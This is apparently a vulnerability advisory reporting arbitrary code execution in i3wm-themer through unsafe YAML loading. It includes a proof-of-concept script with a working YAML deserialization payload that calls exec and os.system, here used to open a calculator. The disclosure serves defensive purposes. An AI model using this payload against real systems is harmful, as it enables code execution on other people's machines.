i3wm-themer

vulnerability arbitrary code execution
severity 8.8
language python
registry other

Description

i3wm-themer is the theme collection manager for i3-wm which is vulnerable to Arbitrary Code Execution.

Vulnerability

Vulnerable to YAML deserialization attack caused by unsafe loading.

Proof of Concept

Installation

git clone https://github.com/unix121/i3wm-themer
cd i3wm-themer/
sudo pip install -r requirements.txt

Run exploit.py

import os
payload = """cmd: !!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
"""
os.system('git clone https://github.com/unix121/i3wm-themer')
os.chdir('i3wm-themer/')
os.system('rm config.yaml')
open('config.yaml','w+').write(payload)
os.system('python3 i3wm-themer.py --config config.yaml --install defaults/')
  • python3 exploit.py

Impact

Arbitary Code Execution

References